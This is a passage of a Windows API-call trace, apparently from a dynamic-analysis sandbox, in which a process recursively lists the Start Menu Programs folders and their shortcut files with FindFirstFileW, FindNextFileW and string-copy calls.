	[0090.446] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.446] wcscmp (_String1="..", _String2=".") returned 1
	[0090.446] wcscmp (_String1="..", _String2="..") returned 0
	[0090.446] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.446] FindClose (in: hFindFile=0x477ace8 | out: hFindFile=0x477ace8) returned 1
	[0090.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a2c8) returned 1
	[0090.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1
	[0090.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895680) returned 1
	[0090.446] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1
	[0090.446] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1
	[0090.446] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1
	[0090.446] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xf78d700, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="")) returned 1
	[0090.446] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1
	[0090.446] wcscmp (_String1="Windows Media Player.lnk", _String2="..") returned 1
	[0090.446] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653f2a91, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x653f2a91, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x653f2a91, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1
	[0090.446] wcscmp (_String1="Wordpad.lnk", _String2=".") returned 1
	[0090.446] wcscmp (_String1="Wordpad.lnk", _String2="..") returned 1
	[0090.446] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96ce7e01, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 1
	[0090.446] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1
	[0090.447] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1
	[0090.447] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96ce7e01, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 0
	[0090.447] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d738) returned 1
	[0090.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d8e8) returned 1
	[0090.447] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1
	[0090.447] wcscmp (_String1="Acrobat Reader DC.lnk", _String2=".") returned 1
	[0090.447] wcscmp (_String1="Acrobat Reader DC.lnk", _String2="..") returned 1
	[0090.447] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1
	[0090.447] wcscmp (_String1="Administrative Tools", _String2=".") returned 1
	[0090.447] wcscmp (_String1="Administrative Tools", _String2="..") returned 1
	[0090.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894fa0
	[0090.447] wcscpy (in: _Dest=0x4894fa0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.447] wcscat (in: _Dest=0x4894fa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\"
	[0090.447] wcscat (in: _Dest=0x4894fa0, _Source="Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools"
	[0090.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894e60
	[0090.447] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools"
	[0090.447] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\"
	[0090.447] wcscat (in: _Dest=0x4894e60, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*"
	[0090.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a2c8
	[0090.447] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.447] wcscmp (_String1=".", _String2=".") returned 0
	[0090.447] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="..", _String2=".") returned 1
	[0090.448] wcscmp (_String1="..", _String2="..") returned 0
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1db61d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c1db61d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c1db61d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Component Services.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Component Services.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33042a24, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x33042a24, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x33042a24, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Computer Management.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Computer Management.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0090.448] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x399c4fa7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x399c4fa7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x399c4fa7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="dfrgui.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="dfrgui.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64367fd2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x64367fd2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x64367fd2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Disk Cleanup.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Disk Cleanup.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dc802b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dc802b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dc802b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Event Viewer.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Event Viewer.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="iSCSI Initiator.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="iSCSI Initiator.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39893c6e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x39893c6e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x39893c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC Data Sources (32-bit).lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="ODBC Data Sources (32-bit).lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="ODBC Data Sources (32-bit).lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC Data Sources (64-bit).lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="ODBC Data Sources (64-bit).lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="ODBC Data Sources (64-bit).lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="")) returned 1
	[0090.448] wcscmp (_String1="Performance Monitor.lnk", _String2=".") returned 1
	[0090.448] wcscmp (_String1="Performance Monitor.lnk", _String2="..") returned 1
	[0090.448] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8822b6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8822b6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8822b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="Print Management.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="Print Management.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="Resource Monitor.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="Resource Monitor.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c66c10d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c66c10d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c66c10d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="Security Configuration Management.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="Security Configuration Management.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f116ee, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x32f116ee, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32f116ee, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="services.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="services.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b498035, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b498035, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b498035, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="System Configuration.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="System Configuration.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d51ec6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34d51ec6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x34d51ec6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="System Information.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="System Information.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dee28b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dee28b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dee28b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e2f6c78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2=".") returned 1
	[0090.449] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e2f6c78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 0
	[0090.449] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0090.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a2c8) returned 1
	[0090.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0090.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894fa0) returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0090.449] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0090.449] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0090.449] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b0ade7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4b0ade7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x973, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1
	[0090.450] wcscmp (_String1="Excel 2016.lnk", _String2=".") returned 1
	[0090.450] wcscmp (_String1="Excel 2016.lnk", _String2="..") returned 1
